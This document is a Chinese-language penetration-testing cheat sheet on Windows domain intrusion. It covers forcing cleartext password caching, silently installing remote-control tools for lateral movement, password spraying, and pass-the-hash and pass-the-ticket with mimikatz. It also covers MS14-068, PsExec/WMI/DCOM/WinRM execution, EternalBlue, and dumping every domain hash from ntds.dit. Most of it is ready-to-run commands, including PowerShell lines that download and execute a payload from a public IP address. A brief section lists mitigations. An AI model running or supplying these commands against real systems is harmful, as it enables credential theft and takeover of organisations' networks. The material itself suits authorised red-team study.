# winser - 2012R2 之后抓密码方式
在 Windows2012 系统及以上的系统,默认在内存缓存中禁止保存明文密码的。攻击者可以通过修改注册表的方式抓取明文,需要用户重新登录后才能成功抓取
修改注册表和锁屏
1 | reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f 开启 |
锁屏后重新输入密码在 lsass 中才会再次存储明文密码
1 | rundll32.exe user32.dll,LockWorkStation 锁屏 |
# 防范
2012R2 域控设置
在 windows server 2012 R2 中,新增了一个 Protected Users 安全组,将用户加入到该组,用户的明文密码就不会被获取
安装 KB2871997
2014 年,Microsoft 发布了 KB2871997 补丁,它主要囊括了 Windows 8.1 和 Windows Server 2012 R2 中增强的安全保护机制。所以,以往的例如:Windows 7,Windows 8,Windows Server 2008R2 和 Windows Server 2012 也可以更新该补丁后获得上述安全保护机制。该补丁无法阻止” 哈希传递 “的攻击方式,但其确实有助于是 Windows 免受一些常见的攻击,例如:明文密码脱取、RDP 凭据盗取、盗取本地 Administrator 账户进行横向移动。
修改注册表
1 | reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f 关闭 |
# 横向
# 向日葵内网横向
向日葵远程控制软件是一款免费的集远程控制电脑 / 手机 / 平板、远程桌面连接、远程开机、远程管理、支持内网穿透的一体化远程控制管理工具软件,且还能进行远程文件传输、远程摄像头监控等。
支持系统:Winodws/Linux/MacOS/Android/iOS
使用注册注册表的方式进行绕过,注册表文件如下
1 | Windows Registry Editor Version 5.00 |
将以上的代码保存为,xxx.reg 如(1.reg)
运行注册注册表的命令和运行向日葵
查看向日葵配置文件
1 | shell type C:\ProgramData\Oray\SunloginClient\config.ini |
# todesk 内网横向
ToDesk 是一款类似向日葵的远程控制软件,但比向日葵、TV 和 AD 更为流畅和稳定,它同样具备着内网穿透、文件传输、云端同步和流量加密等功能
有绿色精简版和全功能版两个版本,支持的系统有:Winodws/Linux/MacOS/Android/iOS
全功能版在双击运行、命令行执行时都会出现 UAC 弹窗和安装界面,这样非常容易被管理员发现,/S 参数可以实现静默安
1 | shell ToDesk1.exe /S |
安装完成后自动运行,接下来查看配置文件
1 | shell type C:\"Program Files (x86)"\ToDesk\config.ini |
运行 ToDesk 后会在默认安装目录下生成一个 confifig.ini 配置文件,存储的有设备代码、临时密码、安全密码以及登录用户和密码等重要敏感信息,但密码都经过 ToDesk 特有加密算法加密,所以不能通过解密得到明文密码,只需要找到目标主机 ToDesk 中的 tempAuthPassEx 临时密码或 authPassEx 安全密码,将它们覆盖到我们本地 ToDesk 中的 tempAuthPassEx,重启 ToDesk 即可得到明文密码
使用 cs 进行文件替换
重启程序就可以了
1 | tasklis 查找进程 |
1 | taskkill /pid 2484 /F |
重新开启
1 | shell C:\"Program Files (x86)"\ToDesk\ToDesk.exe |
# 利用远控工具 GoToHTTP 横向移动
GotoHTTP 工作在 B2C 模式。使用远程控制时,您不必在每一台电脑上都安装远程软件。不管身处何处,有浏览器就能访问远程电脑。 即使公司网络管控,仍然可以控制或被控制。支持文件传输、无人值守、剪切板同步、远程语音、远程摄像头、多显示器支持
运行该文件
在运行目录下会生成一个配置文件
查看配置文件里面有连接地址和账号密码
使用网页连接
# rustdesk
远程桌面软件,开箱即用,无需任何配置,完美替代 TeamViewer。您完全掌控数据,不用担心安全问题。您可以使用我们的注册 / 中继服务器,或者自己设置,亦或者开发您的版本。
上传到目标机器
运行程序
找到配置文件
1 | C:\Users\用户名\AppData\Roaming\RustDesk\config |
可以看到没有密码,这个时候需要手写这个密码,然后重启工具
1 | tasklist |
查看密码已经可以了
连接目标
# IPC 横向
IPC (Internet ProcessConnection) 共享 “命名管道” 的资源,是为了实现进程间通信而开放的命名管道。IPC 可以通过验证用户名和密码获得相应的权限,通常在远程管理计算机和查看计算 机的共享资源时使用。
通过 ipc$, 可以与目标机器建立连接。利用这个连接,不仅可以访问目标机器中的文件,进行上传、下载等操作,还可以在目标机器上运行其他命令,以获取目标机器的目录结构、用户列 表等信息。
mimikatz 抓取密码如果只是管理员组的用户需要绕过 UAC
首先,需要建立一个 ipc$
1 | net use \\192.168.41.30\ipc$ "密码" /user:administrator |
1 | net use |
IPC$ 利用条件
1 | 1、开启了139、445端口 |
IPC$ 连接常见错误
错误号 5: 拒绝访问
错误号 51: Windows 无法找到网络路径,即网络中存在问题。
错误号 53: 找不到网络路径,包括 IP 地址错误、目标未开机、目标的 lanmanserver 服务未 启动目标有防火墙 (端口过滤)
错误号 67: 找不到网络名,包括 lanmanworkstation 服务未启动、ipcs 已被删除
错误号 1219: 提供的凭据与已存在的凭据集冲突。例如,已经和目标建立了 ipcs, 需要在删除原连接后重新进行连接。
错误号 1326: 未知的用户名或错误的密码
错误号 l792; 试图登录,但是网络登录服务没有启动,包括目标 NetLogon 服务未启动(连 接域控制器时会出现此情况)。
错误号 2242: 此用户的密码已经过期 ° 例如’目标机器设置了账号管理策略,强制用户定 期修改密码
如果两端用户名密码都一样,比如都是 administrator,且密码都一样,可以直接建立 ipc
利用方式 - windows 自带命令
dir 命令
在使用 netuse 命令与远程目标机器建立 ipcs 后,可以使用 dir 命令列出远程主机中的文件,如图
1 | dir \\192.168.18.10\c$ |
tasklist 命令
在使用 net use 命令与远程目标机器建立 ipcs 后,可以使用 tasklist 命令的 / S、/U/P 参数列 出远程主机上运行的进程
1 | tasklist /s 192.168.18.10 |
利用方式 - schtasks
1)查看系统时间
1 | net time \\IP地址 |
2)复制文件
1 | copy 文件 \\IP地址\C$ |
3)创建计划任务
1 | schtasks /create /u /p /s IP地址 /tn 计划任务名 /sc onstart /tr c:\文件 /ru system /f |
4)执行计划任务
1 | schtasks /run /s IP地址 /i /tn "计划任务名" |
5)删除计划任务
1 | schtasks /delete /s IP地址 /tn "计划任务名" /f |
6)清除 IPC 连接
1 | net use \\IP /del /y |
# IPC 配合系统服务横向移动
SC 命令详解
获取到密码并着手横向时,却发现 Task Sheduler 服务没有启用。这时候我们就可以远程建立服务,后再启用服务来运行我们想要运行的命令。
IPC 建立连接
1 | net use \\192.168.41.40\ipc$ "Admin@123" /user:administrator |
复制文件
1 | copy C:\Users\Administrator\Desktop\wanli.exe \\192.168.41.40\C$ |
创建服务
1 | sc \\192.168.41.40 create test binpath= "cmd.exe /c c:\wanli.exe" |
开启服务
1 | sc \\192.168.17.138 start test |
删除服务
1 | sc \\192.168.17.138 delete test |
上线机器
# Password Spraying 密码喷洒攻击和域内用户枚举横向移动
域内用户枚举攻击原理
正常域用户登录主机,我们可以通过 "net user /domain" 来列举出域内的用户。但是当我们用非域用户进行登录时,是不能使用 "net user /domain" 这条命令的。或者当主机不在域内但是能与域控通信时,以上两种情况我们可以通过以下方法对域内用户进行枚举。
Kerberos 本身是一种基于身份认证的协议,在 Kerberos 协议认证的 第一阶段 AS-REQ ,当用户不存在时,返回包提示错误。当用户名存在,密码正确和密码错误时,AS-REP 的返回包不一样。所以可以利用这点,对域内进行域用户枚举和密码喷洒攻击。在 AS-REQ 阶段客户端向 AS 发送用户名,AS 对用户名进行验证,用户存在和不存在返回的数据包不一样,所以,根据 AS 的返回包来对域用户进行枚举
枚举工具介绍
kerbrute 工具
1 | kerbrute.exe userenum --dc 域控ip -d 域名 用户名字典.txt |
密码喷洒攻击原理
在确认用户存在后,客户端又会发送一个 AS-REQ 请求,如果密码正确,则返回 AS-REP。否则返回 KRB5KDC_ERP_PREAUTH_FAILED,
在常规的爆破中,我们都是先用很多密码去碰撞一个账号,这样很容易导致账号被锁定。而密码喷洒就是先用一个密码去碰撞很多账号,此方法能有效的避免账号被锁定的问题
kerbrute 工具
1 | kerbrute.exe passwordspray -d hack.com 1.txt Admin@123 |
CrackMapExec
CrackMapExec(⼜名 CME)是⼀款⾮常好⽤的密码喷洒攻击的⼯具,在 Kali Linux 默认已经安装好。
1 | crackmapexec smb 192.168.41.10 -u 1.txt -p 'Admin@123' --continue-on-success |
使用前提:设置代理 将 192.168.41.10 的流量代理到 kali 上
DomainPasswordSpray.ps1
必须是域内用户才可以
1 | UserList:用户字典 |
1 | Import-Module DomainPasswordSpray.ps1 导入 |
# PTH 哈希传递横向移动
大多数渗透测试人员都听说过哈希传递 (Pass The Hash) 攻击。该方法通过找到与账户相关 的密码散列值 (通常是 NTLM Hash) 来进行攻击。在域环境中,用户登录计算机时使用的大都是域账号,大量计算机在安装时会使用相同的本 地管理员账号和密码,因此,如果计算机的本地管理员账号和密码也是相同的,攻击者就能使用哈希传递攻击的方法登 录内网中的其他计算机。同时,通过哈希传递攻击,攻击者不需要花时间破解密码散列值 (进而获得密码明文)。 在 Windows 网络中,散列值就是用来证明身份的 (有正确的用户名和密码散列值,就能通过验证), 而微软自己的产品和 工具显然不会支持这种攻击,于是,攻击者往往会使用第三方工具来 完成任务。在 WindowsServer2012R2 及之后版 本的操作系统中,默认在内存中不会记录明文密码,因此,攻击者往往会使用工具将散列值传递到其他计算机中,进行权 限验证,实现对远程计 算机的控制。
希传递攻击原理
当用户需要登录某网站时,如果该网站使用明文的方式保存用户的密码,那么,一旦该网站出现安全漏洞,所有用户的明 文密码均会被泄露。由此,产生了散列值的概念。当用户设置密码时,网站服务器会对用户输入的密码进行散列加密 处理 (通常使用 MD5 算法) 散列加密算法般为单向不可逆算法。当用户登录网站时,会先对用户输入的密码进行散列加 密处理,再与数据 库中存储的散列值进行对比,如果完全相同则表示验证成功。 主流的 Windows 操作系统,通常会使用 NTLM Hash 对访问资源的用户进行身份验证。早期 版本的 Windows 操作系 统,则使用 LMHash 对用户密码进行验证。但是,当密码大于等于 14 位 时,就无法使用 LM Hash 了。从 Windows vista 和 Windowsserver2008 版本开始,Windows 操作 系统默认禁用 LMHash, 因为在使用 NTLM Hash 进行身份认 证时,不会使用明文口令,而是将明文口令通过系统 API (例如 Lsalogon User) 转换成散列值。不过,攻击者在获得密 码散列值之 后,依旧可以使用哈希传递攻击来模拟用户进行认证。
哈希传递条件
哈希传递攻击的前提:有管理员的 NTLM Hash ,并且目标机器开放 445 端口。
Windows Vista 之前的机器,可以使用本地管理员组内用户进行攻击。
Windows Vista 之后的机器,只能是 administrator (SID 为 500) 用户的哈希值才能进行哈希传递攻击,其他用户 (包括管理员用户但是非 administrator) 也不能使用哈希传递攻击,会提示拒绝访问
在工作组环境中:
Windows Vista 之前的机器,可以使用本地管理员组内用户进行攻击。
WindowsVista 之后的机器,只能是 administrator 用户的哈希值才能进行哈希传递攻击,其他用户 (包括管理员用户但是非 administrator) 也不能使用哈希传递攻击,会提示拒绝访问。
在域环境中:
只能是域管理员组内用户 (可以是域管理员组内非 administrator 用户) 的哈希值才能进行哈希传递攻击,攻击成功后,可以访问域内任何一台机器
使用 mimikatz 进行 hash 传递,
1 | mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:hack.com /ntlm:570a9a65db8fba761c1008a51d4c95ab |
传递完成后会弹出一个框可以进行链接了
使用 cs

# pass the key 密钥传递攻击 (PTK) 横向攻击
WinXP/2003/Vista/2008 ,以及未打 KB2871997 补丁之前的 Win7/2008r2/8/2012,这些环境我们都可以使用 NTLM 哈希传递
对于 8.1/2012r2,安装补丁 kb2871997 的 Win 7/2008r2/8/2012,可以使用 AES keys 代替 NTLM 来进行验证
KB2871997:禁止本地管理员账户用于远程连接,这样就无法以本地管理员用户的权限执行 wmi、psexec、schtasks、at 和访问文件共享。
这个补丁发布后常规的 Pass The Hash 已经无法成功,唯独默认的 Administrator (SID 500) 账号例外,利用这个账号仍可以进行 Pass The Hash 远程连接,即使 administrator 修改了名字但是还可以通过 AES 密钥来替代 NTLM 验证进行横向的操作,其实这个补丁挺鸡肋的,不用 AES 密钥照样也可以用 NTLM,只是需要 Administrator(SID 500),都拿到机器了,Administrator 还不容易吗?这个补丁唯一的好处就是减少存储在内存中的凭据数据,也就是让 wdigest 协议认证的凭据不会存储在 lsass.exe,这样子当你 dump lsass.exe 的时候你就会发现,wdigest 协议中的凭据你就看不到了!
抓取密码
1 | mimikatz sekurlsa:ekeys |

传递域中 administrator 的 aes256key
1 | sekurlsa::pth /user:administrator /domain:hack.com /aes256:b03fcae60f0b32a105a8082e89a09cd88a5a6c54b0a209caaa9664c6bc223232 |
传递后在被控机器上弹出一个 system 权限的 cmd
但是横向时需要使用主机名
1 | net use \\2012-1.hack.com |
# pass the ticket 票据传递攻击 (PTT) 横向攻击
要想使用 mimikatz 的哈希传递功能,必须具有本地管理员权限。 mimikatz 同样提供了不需要本地管理员权限进行 横向渗透测试的方法,
例如票据传递 (PassThe Ticket,PTT)
票据传递是基于 kerberos 认证的一种攻击方式,常用来做后渗透权限维持。
黄金票据攻击利用的前提是得到了域内 krbtgt 用户的 NTLM 哈希或 AES-256 的值。
白银票据攻击利用的前提是得到了域内服务账号的 HTML 哈希或 AES-256 的值。
票据传递攻击一般分为两种
1、自己制作票据
2、传递内存中的票据
导出内存的票据
1 | mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" |
执行以上命令后,会在当前目录下出现多个服务的票据文件,例如 krbtgt、cifs、ldap 等。
清除内存中的票据
1 | shell klist purge |
将高权限的票据文件注入内存
1 | mimikatz kerberos::ptt [0;998d7]-2-0-40e10000-Administrator@krbtgt-HACK.COM.kirbi |
查看票据
1 | shell klist |
访问机器 (admin 用户没有过 uac)
1 | dir \\2012-1.hack.com\c$ |
横向后都是 system 权限
# PTT 攻击之 ms14-068 传递获取域管横向
ms14-068 漏洞主要通过伪造域管的 TGT,将普通用户权限提权为域管权限,以此来控制域控。只要服务器未打 ms14-068 补丁(KB3011780),在 server 2000 以上的域控服务器中,都可进行利用
MS14-068 的利用条件
1、获取域普通用户的账号密码
2、获取域普通用户的 sid
3、服务器未打 KB3011780 补丁
查看域用户的 SID
1 | whoami /all |
清除内存中的票据
1 | klist purge |
生成票据
1 | ms14-068.exe -u 域用户@域名 -p 域用户密码 -s 域用户SID -d 域控 |
执行后会生成一张伪造的 tgt
导入票据
1 | kerberos::ptc 票据名字 |
执行命令
1 | dir \\dc2.test.com\c$ 注意是机器名不是IP |
goldenPac.exe
此工具是 impacket 工具包里的,它是 MS14-068+psexec 的组合,因此使用起来非常放方便快捷
用法
1 | goldenPac.exe 域名/域用户名:域用户明文密码@域控完整域名 |
# PsExec 工具远程命令执行横向移动
psexec 是 windows 下非常好的一款远程命令行工具。psexec 的使用不需要对方主机开方 3389 端口,只需要对方开启 admin (该共享默认开启,依赖于 445 端口)。但是,假如目标主机开启了防火墙(防火墙禁止 445 端口连接),psexec 也是不能使用的,会提示找不到网络路径。由于 psexec 是 Windows 提供的工具,所以杀毒软件将其列在白名单中
PsExec 使用条件
1、具有正确的凭证(内存凭证、账号密码、账号 NTLM Hash)
2、能建立 IPC 链接(也就是需要通过 smb 认证的),且目标机器开启了共享(默认开启的),并且目标共享中必须有 admin$ 共享
PsExec 常用参数
1 | psexec \\ip -u administrator -p admin cmd 进⼊半交互式shell |
第一次使用时会弹窗,加上 accepteula 取消弹窗
IPC$ 下的 psexec
建立 IPC$ 连接
1 | net use \\192.168.41.150\ipc$ "Admin@123" /user:administrator |
直接执行命令,建立 ipc 后无需输入密码
1 | psexec.exe -accepteula \\192.168.41.150 -s cmd.exe 返回交互shell(必须是msf或者远程到桌面CS不行) |
PTH 下的 psexec
进行 psexec 攻击上线

PTT 下的 psexec
导出内存的票据
1 | mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" |
清除内存中的票据
1 | shell klist purge |
将高权限的票据文件注入内存
1 | mimikatz kerberos::ptt [0;998d7]-2-0-40e10000-Administrator@krbtgt-HACK.COM.kirbi |
1 | psexec.exe \\dc.hack.com -h -d c:\wanli.exe |
# WMIC 远程执行命令横向移动
WMIC 扩展 WMI(Windows Management Instrumentation,Windows 管理工具) ,提供了从命令行接口和批处理脚本执行系统管理的支持。
简单来说:wmic 就是 wmic.exe,位于 windows 目录底下,是一个命令行程序。WMIC 可以以两种模式执行:交互模式 (Interactive mode) 和非交互模式 (Non-Interactive mode),WMI 就是 WindowsManagement Instrumentation(Windows 管理规范)。它是 Windows 中的一个核心管理技术。
wmic 命令需要本地管理员或域管理员才可以进行正常使用,普通权限用户若想要使用 wmi,可以修改普通用户的 ACL,不过修改用户的 ACL 也需要管理员权限,普通用户使用 wmic。以下命令均在 2008R2、2012R2、2016 上进行测试,部分命令在虚拟机中测试不行。
wmic 调用 cmd
以下命令需要管理员权限
1 | 执行命令并且输出 |
利用 powershell 上线
1、使用 cs 生成 powershell 脚本
2、wmic 进行上线,把 ps1 放大公网,可以使用 python 开启 http 服务提供下载 python-m http.server 9988
1 | wmic /NODE:192.168.41.148 /user:administrator /password:Admin@123 PROCESS call |
Wmiexec 工具
wmiexec 是一个即有全交互也有半交互的远程命令执行工具,有 python 版本的 pe 版本可运用于多种环境,包括 webshell 环境、rdp 环境、socks 环境等
1 | wmiexec.exe 域名/用户名:密码@目标IP #哈希传递获得shell |
利用 powershell 上线
1、使用账号密码登录进行 powershell 上线
1 | wmiexec.exe administrator:Admin@123@192.168.41.40 "powershell.exe -nop -w hidden |
2、使用 hash 上线
1 | wmiexec.exe -hashes |
wmiexec.vbs
wmiexec.vbs 脚本通过 VBS 调用 WMI 来模拟 PsExec 的功能。其可以在远程系统中执行命令并进行回显,获取远程主机的半交互式 Shell。wmiexec.vbs 支持两种模式,一种是半交互式 shell 模式,另一种是执行单条命令模式
1 | cscript.exe //nologo wmiexec.vbs /cmd IP 用户 密码 "命令" |
使用 powershell 上线
1 | cscript.exe //nologo wmiexec.vbs /cmd 192.168.41.148 administrator Admin@123 |
Invoke-WMIExec
Invoke-WMIExec 是一个 powershell 脚本在 Invoke-TheHash 的文件中用法如下
1 | Invoke-WMIExec -Target IP -Domain 域 -Username 用户 -Hash hash-Command "calc.exe" |
采用无文件落地的方式进行横向
1 | shell powershell -exec bypass -c IEX (New-Object |
本地执行
1、导入脚本
1 | powershell-import powershell/Invoke-WMIExec.ps1 |
2、运行上线命令
1 | powershell Invoke-WMIExec -Target 192.168.41.20 -Username administrator -Hash |
Invoke-WMIMethod.ps1
该模块为 Powershell 内置模块,以下为示例,可以自由组合命令进行测试
1 | $User #目标系统用户名 |
# SMB 远程执行命令横向移动
SMB 全称是 Server Message Block 翻译过来是服务器信息块,它也是一种客户端到服务器的通信协议。除此之外,SMB 协议也被称为请求 - 回复协议。 客户端与服务器建立连接后,客户端可以向服务器发送 SMB 命令允许用户访问共享、打开、读取或者是写入文件。
利用条件:开启了 445 端口
smbexec 使用
smbexec 为 impacket 工具中的工具,操作简单,容易被杀,使用时无需先进行 IPC 连接
1 | 明文传递命令: |
使用明文
1、输入命令
1 | smbexec administrator:Admin@123@192.168.41.148 |
使用 hash
1 | smbexec -hashes aad3b435b51404eeaad3b435b51404ee:570a9a65db8fba761c1008a51d4c95ab administrator@192.168.41.148 |
# DCOM 远程执行命令横向移动
DCOM(分布式组件对象模型)是微软的一系列概念和程序接口。它支持不同的两台机器上的组件间的通信,不论它们是运行在局域网、广域网、还是 Internet 上。利用这个接口,客户端程序对象能够向网络中另一台计算机上的服务器程序对象发送请求,使用 DCOM 进行横向移动的优势之一在于,在远程主机上执行的进程将会是托管 COM 服务器端的软件
获取 DCOM 列表
1 | Get-CimInstance Win32_DCOMApplication |
DCOM 横向前提
1 | 1、需要关闭系统防火墙 |
MMC20.Application 远程执行命令
1、通过 PowerShell 与 DCOM 进行远程交互,此外,我们只需要提供一个 DCOM ProgID 和一个 IP 地址,然后,它就从远程返回一个 COM 对象的实例。
1 | $com = |
2、然后执行如下命令,我们就可以调用 "ExecuteShellCommand" 方法在远程主机上启动进程
1 | $com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c |
3、将 IP 和命令换成上线的命令
1 | $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.1 |
1 | $com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://118.178.134.226:9988/payload.ps1'))","Mini |
ShellWindows 远程执行命令
1 | [Activator]::CreateInstance([Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442- |
1 | [Activator]::CreateInstance([Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442- |
ShellBrowserWindow 远程执行命令
适用于 Windows 10 和 Windows Server 2012 R2 等版本的系统。
1 | [activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455- |
调用 Excel.Application 远程执行命令
目标主机中安装有 excle
1、 通过 PowerShell 与 DCOM 进行远程交互,创建 Excel.Application 对象的实例
1 | $com = |
2、然后执行如下命令,我们就可以调用该对象的 "DDEInitiate" 方法在远程主机上启动进程
1 | $com.DDEInitiate("cmd.exe","/c 参数") |
Visio.Application 远程执行命令
目标主机中安装有 Visio
1 | [activator]::CreateInstance([type]::GetTypeFromProgID("Visio.Application","192.1 |
Outlook.Application 远程执行命令
目标主机中安装有 Outlook
1 | [activator]::CreateInstance([type]::GetTypeFromProgID("Outlook.Application","192 |
Impacket 中的 dcomexec.py
1 | dcomexec.exe [domain/]username:password@ip //创建一个交互式shell |
# WinRM 介绍
WinRM(Windows 远程管理)是 Microsoft 在 Windows 中对 WS-Management 的实现,它使系统可以跨通用网络访问或交换管理信息。利用脚本对象或内置的命令行工具,WinRM 可以与可能具有基板管理控制器(BMC)的任何远程计算机一起使用,以获取数据。也可以获取基于 Windows 的计算机(包括 WinRM)。 WinRM 默认端口 5985(HTTP 端口)或 5986(HTTPS 端口),若配置了 WINRM 远程服务,当我们拿到一个管理员账户时,可以使用远程连接进行命令执行操作
winrm 通过 HTTP(5985)或 HTTPS SOAP(5986)端口来进行通信
winrs.exe
Winrs.exe 是一个内置的命令行工具,它允许远程命令的执行在 WinRm 的适当的有资格的用户
1 | winrs -r:http://127.0.0.1:5985 -u:administrator -p:Admin@123 "whoami" |
1、执行
1 | winrs -r:http://192.168.41.147:5985 -u:administrator -p:Admin@123 "whoami" |
如果出现
1 | Winrs error:WinRM 客户端无法处理该请求。 可以在下列条件下将默认身份验证与 IP 地址结合使用: |
1 | winrm set winrm/config/Client @{TrustedHosts="*"} |
CS 使用自带 winrm 上线
必须使用域管账号
# 使用系统漏洞 ms17010 横向移动
Cobalt Strike 生成 DLL
1、生成 CS 的生成 bin 文件
2、使用 msf 用 bin 文件生成 dll 文件
1 | msfvenom -p generic/custom PAYLOADFILE=./payload.bin -a x64 --platform windows - |
原版 ms17-010 渗透
1、CS 执行下面的命令
1 | Eternalblue-2.2.0.exe --TargetIp 192.168.41.168 --Target WIN72K8R2 -- |
1 | Doublepulsar-1.3.1.exe --InConfig Doublepulsar-1.3.1.xml --TargetIp |
# 域控安全
# ntds.dit
ntds.dit 为 ad 的数据库,内容有域用户、域组、用户 hash 等信息,域控上的 ntds.dit 只有可以登录到域控的用户(如域管用户、DC 本地管理员用户)可以访问。ntds.dit 包括三个主要表:数据表、链接表、sd 表。所以只要在域渗透中能够获取到 ntds.dit 就可以获取到所有域用户的用户名和对应的 hash,它和 SAM 文件一样,被 windows 系统锁死
1 | C:\Windows\NTDS |
# 提取移动 ntds.dit 文件
ntdsutils.exe 提取 ntds.dit
ntdsutils.exe 是一个为活动目录提供管理机制的命令行工具,使用 ntdsutils.exe 可以维护和管理活动目录数据库、控制单个主机操作、创建应用程序目录分区等,该工具默认安装在域控服务器上,可以在域控制器上直接操作,支持 windows server 2003、2008、2012。提取过程分为 3 步:
第一步:创建快照
1 | ntdsutil.exe snapshot "activate instance ntds" create q q |
第二步:加载快照
1 | ntdsutil.exe snapshot "mount {bf50c558-aa39-414d-9cc2-32e6dd3aebdc}" q q |
第三步:复制快照中的 ntds.dit 文件
1 | copy '快照地址\Windows\NTDS\ntds.dit' 目标地址 |
第四步:删除快照
1 | ntdsutil.exe snapshot "umount {bf50c558-aa39-414d-9cc2-32e6dd3aebdc}" "delete {bf50c558-aa39-414d-9cc2-32e6dd3aebdc}" q q |
vssadmin 提取 ntds.dit
vssadmin1 是 Windows Server 2008 及 Windows 7 系统提供的 VSS 管理工具,它可以用于创建或删除卷影副本,列出卷影副本的信息(只能管理系统 Provider 创建的卷影副本)。还可以用于显示所有安装的所有卷影副本写入程序(writers)和提供程序(providers),以及改变卷影副本存储空间(即所谓的 “diffff 空间”)的大小等。支持的操作系统:Server 2008、Server 2012
第一步:创建快照
1 | vssadmin create shadow /for=c: |
第二步:复制文件
1 | copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\NTDS\ntds.dit C:\Users\Administrator\Desktop\ntds\ntds.dit |
第三步:删除快照
1 | vssadmin delete shadows /for=c: /quiet |
vssown 提取 ntds.dit
vssown.vbs 和 vssadmin 类似,它是由 Tim Tomes 开发完成的,它可以创建和删除卷影副本,以及启动和停止卷影复制服务
第一步:启动卷影复制服务
1 | cscript vssown.vbs /start |
第二步:创建一个 C 盘的卷影副本
1 | cscript vssown.vbs /create c |
第三步:列出当前卷影副本
1 | cscript vssown.vbs /list |
第四步:复制文件:
1 | copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\windows\NTDS\ntds.dit C:\Users\Administrator\Desktop\ntds\ntds.dit |
第五步:删除卷影副本
1 | cscript vssown.vbs /delete {B267559B-57D8-4D59-B77F-890CF57BA448} |
IFM
可以通过创建一个 IFM 的方式获取 ntds.dit,在使用 ntdsutil 创建媒体安装集(IFM)时,需要进行生成快照、加载、将 ntds.dit 和计算机的 SAM 文件复制到目标文件夹中等操作,这些操作也可以通过 PowerShell 或 VMI 远程执行。
第一步:
1 | ntdsutil "ac i ntds" "ifm" "create full c:/test" q q |
此时 ntds.dit 将被保存在 C:\test\Active Directory 下,SYSTEN 和 SECURITY 两个文件将被保存在
C:\test\registry 文件夹下
第二步:删除
1 | rmdir /s/q C:\test |
impacket
通过 impacket 里的 secretsdump.py 脚本可以直接远程读取 ntds.dit 并导出哈希值
1 | secretsdump.exe 域名/administrator:密码@IP -outputfile output_ntds |
# 离线方式读取 ntds.dit 文件
离线一般需要两步:
1、将远端域控的 ntds.dit 下载到本地,
2、然后利用再在本地进行。
注意:因为 system.hive 里存放着 ntds.dit 的秘钥,所以需要转储 system.hive ,不然没法查看 ntds.dit 里内容
命令如下:
1 | reg save hklm\system c:\windows\temp\system.hive |
esedbexport
安装
1 | apt-get install autoconf automake autopoint libtool pkg-config |
2、导出 ntds.dit,两个重要的表为:datatable 以及 link_table,他们都会被存放在./ntds.dit.export/ 文件夹中
1 | esedbexport -m tables ntds.dit |
3、安装 ntdsxtract
1 | git clone https://github.com/csababarta/ntdsxtract.git |
如果提示 ImportError: No module named Crypto.Hash,请执行 pip install pycryptodome
4、将 ntds.dit.export 和 SYSTEM 文件放入到 ntdsxtract 工具的文件夹中,然后导出哈希值,最后的结果将保存在 1.txt 里
1 | python2 dsusers.py ntds.dit.export/datatable.4 ntds.dit.export/link_table.7 output --syshive SYSTEM --passwordhasher --pwdformat ocl --ntoufile atout --lmoufile lmout | tee 1.txt |
impacket
将 ntds.dit.export 和 SYSTEM 文件放入到 和 secretsdump.exe 同级目录下
1 | secretsdump.exe -system system.hive -ntds ntds.dit LOCAL |
NTDSDump.exe
NTDSDumpEx.exe 可以进行导出哈希值的操作
1 | NTDSDumpEx -d ntds.dit -s system -o 1.txt |
DSInternals
DSInternals 是 powershell 脚本,可以离线读取 ntds 文件
安装 DSInternals
1 | Install-Module DSInternals -Force |
导出 hash,并保存在 txt 文件里
1 | $key = Get-Bootkey -SystemHivePath 'system路径' Get-ADDBAccount -All -DBPath 'ntds路径' -Bootkey $key | Out-File output_hash.txt |
# 在线方式读取 ntds.dit 文件
在线的方式就是直接读取不需要在导出 ntds 文件,在域环境中,不要直接在线获取 hash,特别是域环境比较大的时候,在线获取 hash 等待时时间较长,工具占用资源太多,容易造成域控服务器崩溃
mimikatz
1、可以读取所有用户的 hash
1 | lsadump::dcsync /domain:hack.com /all /csv |
2、也可以读取单个用户的 hash
1 | lsadump::dcsync /domain:hack.com /user:administrator |
Quarks PwDump
1、上传工具到目标机器,使用命令先导出 ntds 文件,然后直接读取
1 | shell QuarksPwDump.exe --dump-hash-domain --ntds-file ntds,dit. |
Invoke-DCSync
1 | Import-Module .\Invoke-DCSync.ps1 |
impacket
使用 secretsdump 直接读取
1 | secretsdump.exe 域名/administrator:密码@IP -outputfile output_ntds |
MSF 读取 ntds.dit 文件
离线读取使用 msf 读取 ntds 文件,前提是 msf 必须和域控相同,我们可以使用代理技术,将 msf 代理到内网,然后使用 msf 导出 ntds 文件
1、使用导出模块进行导出
1 | use auxiliary/admin/smb/psexec_ntdsgrab |
2、填写相关的选项,主要有 IP, 域,用户名和密码
1 | set RHOSTS 192.168.41.10 |
3、运行之后 ntds 和 system 文件会被保存到 /root/.msf4/loot 下
4、在相应的目录下找到该文件
5、使用相应的工具读取该文件即可
在线读取
1、使用 cs 或者其他的方式先上线的 msf 中使用派生会话的方式
1 | use exploit/multi/handler |
2、拿到 shell 之后执行 hashdump,如果不能执行就迁移进程到 64 位中
1 | migrate 4812 |
3、或者使用下面的脚本,也可以读取域内的 hash
1 | use post/windows/gather/smart_hashdump |
# 跨域攻击
很多大型企业都拥有自己的内网,一般通过域林进行共享资源。根据不同职能区分的部门,从逻辑上以主域和子域进行区分,以方便统一管理。在物理层,通常使用防火墙将各个子公司及各个部门划分为不同的区域。

跨域攻击方法
1、常规渗透方法(利用 web 漏洞)
2、哈希传递票据攻击
3、利用域信任关系

域信任关系
